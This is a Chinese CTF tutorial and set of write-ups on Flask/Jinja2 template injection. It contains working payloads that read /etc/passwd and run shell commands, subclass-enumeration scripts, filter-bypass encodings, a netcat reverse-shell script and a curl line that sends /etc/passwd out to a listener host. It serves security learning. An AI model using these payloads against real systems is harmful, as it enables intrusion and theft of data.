CTF-Flask-Jinja2(持续更新)

放心,我会一直陪着你

  • 一.知识
    • 一.在终端的一些指令
    • 1.虚拟环境
    • 2.docker容器
    • 二.SSTI相关知识介绍
    • 1.魔术方法
    • 2.python如何执行cmd命令
    • 3.SSTI常用注入模块
      • (1)文件读取
      • (2)内建函数eval执行命令
      • (3)os模块执行命令
      • (4)importlib类执行命令
      • (5)linecache函数执行命令
      • (6)subprocess.Popen类执行命令
    • 三.绕过过滤
    • 1.双大括号
    • 2.无回显
      • (1)反弹shell
      • (2)带外注入(做不了×)
      • (3)纯盲注
    • 四.实例
    • 1.eval
  • 二.实例
    • NSS
    • [HNCTF 2022 WEEK2]ez_SSTI
    • [安洵杯 2020]Normal SSTI*Unicode编码配合attr过滤器
    • [HNCTF 2022 WEEK3]ssssti……request.cookies
    • [NCTF 2018]flask真香……拼接
    • [GDOUCTF 2023]<ez_ze>……构造
    • bug库
    • Simple_SSTI_1……SECRET_KEY`
    • BUU
    • [Flask]SSTI
    • [pasecactf_2019]flask_ssti

一.知识

一.在终端的一些指令

在这里插入图片描述

1.虚拟环境

进入虚拟环境flask1

 cd /opt/flask1 
 source ./bin/activate

退出虚拟环境

deactivate

2.docker容器

自动检测

sudo docker run -p 18022:22 -P 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'

查看所有容器

docker ps -a

关闭容器

docker stop <CONTAINER ID>

开启容器

docker start <CONTAINER ID>

更多命令:Docker常用命令之容器命令

二.SSTI相关知识介绍

在这里插入图片描述

${7*7}

a{*comment*}b
${"z".join("ab")}

{{7*7}}
{{7*'7'}}

1.魔术方法

__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量

2.python如何执行cmd命令

python如何执行cmd命令

3.SSTI常用注入模块

(1)文件读取

①查找子类

_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

②找第几个时的python脚本:

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if '_frozen_importlib_external.FileLoader'in response.text:
				print(i)
	except:
		pass

在这里插入图片描述
③读取

{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

(2)内建函数eval执行命令

①内建函数:python在执行脚本时自动加载的函数
看是否有eval

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}

②python脚本查看可利用内建函数eval的模块

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'eval' in response.text:
				print(i)
	except :
		pass

③执行

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

__builtins__提供对Python的所有"内置"标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system没有回显)

(3)os模块执行命令

①Flask自带的函数和对象
显示当前flask有哪些函数和对象

{{self.__dict__._TemplateReference__context.keys()}}

—————————————

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{url_for.__globals__.os.popen('ls').read()}}
{{lipsum.__globals__.os.popen('ls').read()}}

②python脚本查找已经加载os模块的子类

import requests

url =input('请输入URL链接:')

for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'os.py' in response.text:
				print(i)
	except :
		pass

————————————

name={{().__class__.__base__.__subclasses__()[483].__init__.__globals__.os.popen('ls').read()}}

(4)importlib类执行命令

可以加载第三方库,使用load_module加载os

① python脚本查找_frozen_importlib.Builtinlmporter

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if '_frozen_importlib.BuiltinImporter' in response.text:
				print(i)
	except :
		pass

②执行

{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]('ls -l').read()}}

(5)linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令.
①python脚本查找linecache

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'linecache' in response.text:
				print(i)
	except :
		pass

②执行

{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l").read()}}
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l").read()}}

(6)subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值.

subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数.

① python脚本查找subprocess.Popen

import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'subprocess.Popen' in response.text:
				print(i)
	except :
		pass

②执行

{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()
[0].strip()}}

三.绕过过滤

1.双大括号

①判断是否有

{% if "".__class__ %}Benben{% endif %}

②检测是否有popen

import requests
url ="http://192.168.0.226:18080/flasklab/level/2"
for i in range(500):
	try:
		data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read()%}Benben{% endif %}'}
		response = requests.post(url,data=data)
		if response.status_code== 200:
			if "Benben" in response.text:
				print(i,"--->",data)
				break
	except :
		pass

③执行(解决无回:print)

{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}

2.无回显

(1)反弹shell

没有回显,
直接使用脚本批量执行希望执行的命令.

import requests

url ="http://192.168.0.226:18080/flasklab/level/3"

for i in range(300):
	try:
		data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.0.226 7777 -e/bin/bash").read()}}'}
		response = requests.post(url,data=data)
	except :
		pass

for i in range循环执行
当遇到包含popen的子类时,
直接执行netcat 192.168.1.161 7777 -e/bin/bash
监听主机收到反弹shell进入对方命令行界面

(2)带外注入(做不了×)

此处使用wget方法来带外想要知道的内容
也可以用dnslog或者nc

import requests

url ="http://192.168.0.226:18080/flasklab/level/3"

for i in range(300):
	try:
		data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.226/`cat /etc/passwd`").read()}}'}
		response = requests.post(url,data=data)
	except :
		pass

同时kali开启一个python http监听

python3 -m http.server 80

(3)纯盲注

四.实例

1.eval

''
""
()
[]
{{''.__class__}}

{{''.__class__.__base__}}

{{''.__class__.__base__.__subclasses__()}}

{{''.__class__.__base__.__subclasses__()[117]}}

{{''.__class__.__base__.__subclasses__()[117].__init__}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}

二.实例

NSS

[HNCTF 2022 WEEK2]ez_SSTI

进来看到
在这里插入图片描述

在哪里传参呢?
一般是GET传名为name的参数
测试SSTI注入,{{7*7}}
在这里插入图片描述
确认有SSTI注入,继续测,{{7*'7'}}
在这里插入图片描述试试Jinja2模板,成功,以下是两种解题方法
1.Flask自带的函数和对象
先查看当前文件夹,发现了flag文件夹

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

在这里插入图片描述获取flag

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

在这里插入图片描述

[安洵杯 2020]Normal SSTI*Unicode编码配合attr过滤器

进来看到
在这里插入图片描述
提示了传参变量
试着判断是哪一种模板${7*7},发现有过滤

在这里插入图片描述fuzz一下,黑名单大致如下

[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']

过滤了很多东西,不能用base64编码还有request,十六进制没试过,这里考虑用Unicode编码配合attr过滤器来绕过。
这里过滤了双大括号,只能用{%%}

做法属于Flask自带的函数和对象

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

把_globals_,__getitem__还有命令进行编码即可。

payload如下:

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

[HNCTF 2022 WEEK3]ssssti……request.cookies

进来看到
在这里插入图片描述

一般传参名都为name,给其传参并测试SSTI
在这里插入图片描述

判断有SSTI,继续深入判断
在这里插入图片描述

发现有过滤,进行fuzz测试

黑名单

blacklist = ['"', 'args', 'os', '_'],不能用post方法

也不能用{%%}

但是还有一个可以用,request.cookies,可以通过cookies传入参数。

payload原型:
做法属于Flask自带的函数和对象

{{lipsum.__globals__.os.popen('ls').read()}}

修改之后:

{{lipsum[request.cookies.di][request.cookies.temp].popen(request.cookies.cmd).read()}}

di=__globals__;temp=os;cmd=ls

去取flag
在这里插入图片描述————————
在这里插入图片描述

[NCTF 2018]flask真香……拼接

进入题目看到
在这里插入图片描述
换一页
在这里插入图片描述在flask里面可以有两种船只的方式,一种是需要参数的,另一种则不需要,这道题是第二种。

测试SSTI
在这里插入图片描述在这里插入图片描述

bp抓包fuzz一下,屏蔽了这些东西
在这里插入图片描述用最简单的拼接就可以绕过了。

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}

查找os._wrap_close,其他模块也可以,这个模块比较常用。

一个不需要写脚本就可以知道os.wrap.close是第几个的小技巧

找到这模块之后,选择前面一个的 >(大于号) ,然后ctrl+F 输入>回车

在这里插入图片描述得到位置179(向前移动了一位哟,千千万万要注意)。***

最终的payload

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[40].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}

得到flag:
在这里插入图片描述

[GDOUCTF 2023]<ez_ze>……构造

进入模板。看到
在这里插入图片描述
过滤了{{7*7}},fuzz测试一下:{%print(111)%}
在这里插入图片描述
过滤了

_ {{}} . [] '' os popen getitem

payload的原型

{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat /flag')|attr('read')()}}

查看lipsum或config

{% print(lipsum|string|list) %}

在这里插入图片描述

{% print(config|string|list) %}

在这里插入图片描述

先lipusm获取下划线和空格,config获取正斜杠’/’
第十九个是下划线,第十个是空格,第240是’/',这里要用pop来获取。

{% set pop=dict(pop=1)|join %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set re=(config|string|list)|attr(pop)(239) %}

然后是获取__globals__

{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}

用同样的方式获取__getitem__

{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}

其他的就是依葫芦画瓢。

完整的payload就是

{% set pop=dict(pop=1)|join %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set re=(config|string|list)|attr(pop)(239) %}
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
{% set o=dict(o=a,s=b)|join %}
{% set po=dict(pop=a,en=b)|join %}
{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}
{% set read=dict(read=a)|join %}
{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}

获取flag
在这里插入图片描述

bug库

Simple_SSTI_1……SECRET_KEY`

SECRET_KEY 通常存储在应用程序的配置中,这个配置可以通过 Flask 的 app.config 字典来设置。

进来看到
在这里插入图片描述
源码中找到
在这里插入图片描述
所以查看SECRET_KEY

/?flag={{config.SECRET_KEY}}

在这里插入图片描述

BUU

[Flask]SSTI

进来看到
在这里插入图片描述
没有参数,一般是给name传参,测试就不做了,一样一样的

在子类中并不是所有的都能用上,需要找的 一是file模块中的read功能,用来读取各种文件,敏感信息等。但是在
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息

查找子类:

{{''.__class__.__base__.__subclasses__()}}

在这里插入图片描述
查看源码可以看到
在这里插入图片描述这里找到:warnings.catch_warnings,在166位

自己导入OS模块,最终payload:(抱歉,不是这个,因为这道题的flag在环境变量里)

{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

最终payload:

{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}

得到flag
在这里插入图片描述

[pasecactf_2019]flask_ssti

进来看到
在这里插入图片描述测试SSTI,{{7*7}}
在这里插入图片描述
存在,深入测试,出现过滤
在这里插入图片描述
fuzz测试,发现过滤了. _ "

过滤了下划线,使用十六进制编码绕过,_编码后为\x5f,
.过滤的话我们直接用[]包含绕过
过滤了单引号,我们用双引号绕过

这题过滤已经找完了,接下来是构造
执行{{class.bases[0].subclasses()}}

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()}}

在这里插入图片描述

找可用类,这里我们要找os._wrap_close
是第117位
执行{{class.bases[0].subclasses()[127].__init__.__globals__.}}

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]}}

在这里插入图片描述到这里后发现有popen,open,system这些方法

执行{{class.bases[0].subclasses()[127].init.globals.[“popen”](“whoami”).read()}}

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}}

成功执行了whoami命令
在这里插入图片描述

接下来执行ls看看有啥
在这里插入图片描述

app.py 文件通常用于存放一个 Flask 应用程序的主要逻辑,这是一种常见的命名约定。

这里找了一圈看不到flag,只能cat ap*看看源代码
在这里插入图片描述

#!/usr/bin/env python # -*- coding:utf-8 -*- import random from flask import Flask, render_template_string, render_template, request import os app = Flask(__name__) app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)' app.config['flag'] = '''(U0yy=4tc/@M k2GMHX+jiF''' # Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe ''' def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') ''' nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]'] @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': try: p = request.values.get('nickname') _id = random.randint(0, len(nicknames) - 1) if p != None: if '.' in p or '_' in p or '\'' in p: return 'Your nickname contains restricted characters!' return render_template_string(nicknames[_id] % p) except Exception as e: print(e) return 'Exception' return render_template('index.html') if __name__ == '__main__': app.run(host='0.0.0.0', port=80) Вêчңø в øĤлâйĤé

整理后的源代码

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import random
from flask import Flask, render_template_string, render_template, request

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
app.config['flag'] = '''(U0yyogp`*ZoR7Zz>5YA'''

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')

nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        try:
            p = request.values.get('nickname')
            _id = random.randint(0, len(nicknames) - 1)
            if p != None:
                if '.' in p or '_' in p or '\'' in p:
                    return 'Your nickname contains restricted characters!'
            return render_template_string(nicknames[_id] % p)
        except Exception as e:
            print(e)
            return 'Exception'
    return render_template('index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

提供的代码以及加密函数的定义,可以确定该加密方式采用异或(XOR)操作。在异或加密中,加密和解密使用相同的操作,所以加密函数和解密函数通常是相同的。

在 Flask 中,app.config 是一个存储应用程序配置变量的字典。

从原代码可以看出加密后的flag存储在config中
先读取出来

{{config}}

在这里插入图片描述

(U0\x1fy\x13y7jQv7|\x17G\x0el\x04cAN\x1a]\x08}=WcI\x0f\x12\x15

再次加密得到原本的flag

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
flag='(U0\x1fy\x13yog\x05p`*\x16\x19ZoR7\x15\x18\x1dZ\x0cz>\x035\x1fYA\x15'
flag = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
print(flag)

在这里插入图片描述

在这里插入图片描述

${7*7}

a{*comment*}b
${"z".join("ab")}

{{7*7}}
{{7*'7'}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/74680.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

YOLO v8目标跟踪详细解读(一)

在此之前&#xff0c;我们已经对yolo系列做出了详细的探析&#xff0c;有兴趣的朋友可以参考yolov8等文章。YOLOV8对生态进行了优化&#xff0c;目前已经支持了分割&#xff0c;分类&#xff0c;跟踪等功能&#xff0c;这对于我们开发者来说&#xff0c;是十分便利。今天我们对…

应用在家庭影院触摸屏中的高性能低功耗触摸芯片

家庭影院的主要思想是获得清晰的画面和令人惊叹的环绕声。这可以通过多个电子元件的组合轻松实现&#xff0c;为您提供真正的剧院体验。家庭影院系统所需的电子设备&#xff0c;主要有&#xff1a;扬声器、电视或投影仪、媒体设备和接收器。这些设备以不同的方式工作&#xff0…

Python web实战之Django的AJAX支持详解

关键词&#xff1a;Web开发、Django、AJAX、前端交互、动态网页 今天和大家分享Django的AJAX支持。AJAX可实现在网页上动态加载内容、无刷新更新数据的需求。 1. AJAX简介 AJAX&#xff08;Asynchronous JavaScript and XML&#xff09;是一种在网页上实现异步通信的技术。通过…

【MybatisPlus】LambdaQueryWrapper和QueryWapper的区别

个人主页&#xff1a;金鳞踏雨 个人简介&#xff1a;大家好&#xff0c;我是金鳞&#xff0c;一个初出茅庐的Java小白 目前状况&#xff1a;22届普通本科毕业生&#xff0c;几经波折了&#xff0c;现在任职于一家国内大型知名日化公司&#xff0c;从事Java开发工作 我的博客&am…

移动端预览指定链接的pdf文件流

场景 直接展示外部系统返回的获取文件流时出现了跨域问题&#xff1a; 解决办法 1. 外部系统返回的请求头中调整&#xff08;但是其他系统不会给你改的&#xff09; 2. 我们系统后台获取文件流并转为新的文件流提供给前端 /** 获取传入url文件流 */ GetMapping("/get…

如何在 3Ds Max 中准确地将参考图像调整为正确的尺寸?

您是否想知道如何在 3Ds Max 中轻松直观地调整参考图像的大小&#xff0c;而无需借助第三方解决方案、插件或脚本&#xff1f; 我问自己这个问题&#xff0c;并高兴地发现了FFD Box 2x2x2&#xff0c;我无法停止钦佩这个修改器的多功能性。 在本文中&#xff0c;我想与您分享一…

image has dependent child images

问题&#xff1a;很多none的镜像无法被删除 解决过程&#xff1a; 1、通过 docker image prune -f 提示可删除为 0 2、直接进行删除报错&#xff1a; docker rmi 8f5116cbc201Error response from daemon: conflict: unable to delete 8f5116cbc201 (cannot be forced) - im…

时序预测 | MATLAB实现WOA-CNN-BiLSTM鲸鱼算法优化卷积双向长短期记忆神经网络时间序列预测

时序预测 | MATLAB实现WOA-CNN-BiLSTM鲸鱼算法优化卷积双向长短期记忆神经网络时间序列预测 目录 时序预测 | MATLAB实现WOA-CNN-BiLSTM鲸鱼算法优化卷积双向长短期记忆神经网络时间序列预测预测效果基本介绍程序设计学习总结参考资料 预测效果 基本介绍 时序预测 | MATLAB实现…

如何正确下载tomcat???

亲爱的小伙伴&#xff0c;千万别再去找下网站下载啦&#xff0c;这样詪容易携带病毒。 我们去官方网址下载。 Apache Tomcat - Welcome! 最后下载解压即可。。。

学习C语言的好处:

基础编程语言&#xff1a;C语言是其他编程语言的基础&#xff0c;学习C语言可为后续学习打下坚实基础&#xff0c;广泛应用于嵌入式系统、操作系统、网络协议等。 简单易学&#xff1a;C语言语法简单易懂&#xff0c;适合初学者。只需文本编辑器和编译器&#xff0c;即可开始编…

集简云推出的全国第一款 AI+连接器解决方案产品语聚AI

语聚AI是集简云推出的全国第一款 AI连接器解决方案产品&#xff0c;官网&#xff1a;https://yuju.jijyun.cn 语聚AI包括了多个不同的AI功能&#xff0c;协助企业和个人更好的使用AI语言模型所带来的能力&#xff0c;包括&#xff1a; 应用助手 希望通过AI智能助手帮助您查询C…

掌握网络设备,畅游网络世界!

网络的搭建离不开网络设备&#xff0c;物理连接&#xff0c;以及设备之间的多种协议。其中在实现网络互通时&#xff0c;最常见的网络设备是路由器和交换机。 如今在各种级别的网络随处可见各种低、中、高端的路由器、交换机&#xff0c;种类繁多&#xff0c;这些不同种类的设备…

UGUI基础游戏对象Canvas

一.画布Canvas对象概述 画布是一种带有画布组件的游戏对象&#xff0c;所有 UI 元素都必须是此类画布的子项。 创建新的 UI 元素&#xff08;如使用菜单 GameObject > UI > Image 创建图像&#xff09;时&#xff0c;如果场景中还没有画布&#xff0c;则会自动创建画布。…

uniapp开发小程序-有分类和列表时,进入页面默认选中第一个分类

一、效果&#xff1a; 如下图所示&#xff0c;进入该页面后&#xff0c;默认选中第一个分类&#xff0c;以及第一个分类下的列表数据。 二、代码实现&#xff1a; 关键代码&#xff1a; 进入页面时&#xff0c;默认调用分类的接口&#xff0c;在分类接口里做判断&#xff…

Redis 缓存过期及删除

一、Redis缓存过期策略 物理内存达到上限后&#xff0c;像磁盘空间申请虚拟内存(硬盘与内存的swap),甚至崩溃。 内存与硬盘交换 (swap) 虚拟内存&#xff0c;频繁I0 性能急剧下降&#xff0c;会造成redis内存急剧下降&#xff1b; 一般设置物理内存的3/4&#xff0c;在redis…

【双指针_有效三角形的个数_C++】

题目解析 有效三角形的个数 判断三角形&#xff1a;任意两边之和大于第三边 需要重复计算&#xff1a; 知识点 1、需要判断三次&#xff1a; 2、只需要判断一次 已经知道这三个数的大小&#xff08;先进行排序&#xff09; 只需要判断 较小的两个数之和 是否 大于最大的…

考研408 | 【计算机网络】 传输层

导图 传输层的功能 传输层的两个协议 传输层的寻址与端口 UDP协议 UDP的主要特点 UDP首部格式&#xff1a; UDP校验&#xff1a; TCP协议 TCP协议的特点 TCP报文段首部格式 TCP连接管理 TCP的连接建立 SYN洪泛攻击 TCP的连接释放 TCP可靠传输 序号&#xff1a; 确认&#xff1…

支持M1 Syncovery for mac 文件备份同步工具

Syncovery for Mac 是一款功能强大、易于使用的文件备份和同步软件&#xff0c;适用于需要备份和同步数据的个人用户和企业用户。Syncovery 提供了一个直观的用户界面&#xff0c;使用户可以轻松设置备份和同步任务。用户可以选择备份的文件类型、备份目录、备份频率等&#xf…

ArcGIS Pro暨基础入门、制图、空间分析、影像分析、三维建模、空间统计分析与建模、python融合、案例应用

GIS是利用电子计算机及其外部设备&#xff0c;采集、存储、分析和描述整个或部分地球表面与空间信息系统。简单地讲&#xff0c;它是在一定的地域内&#xff0c;将地理空间信息和 一些与该地域地理信息相关的属性信息结合起来&#xff0c;达到对地理和属性信息的综合管理。GIS的…

大数据大屏的分析

今天又进行了大屏的训练&#xff0c;就是很多的报表头是最难的&#xff0c;因为确定了头&#xff0c;就确定了大屏的风格了。 今天的还是有点丑但是也是学习了。报班报班~~~~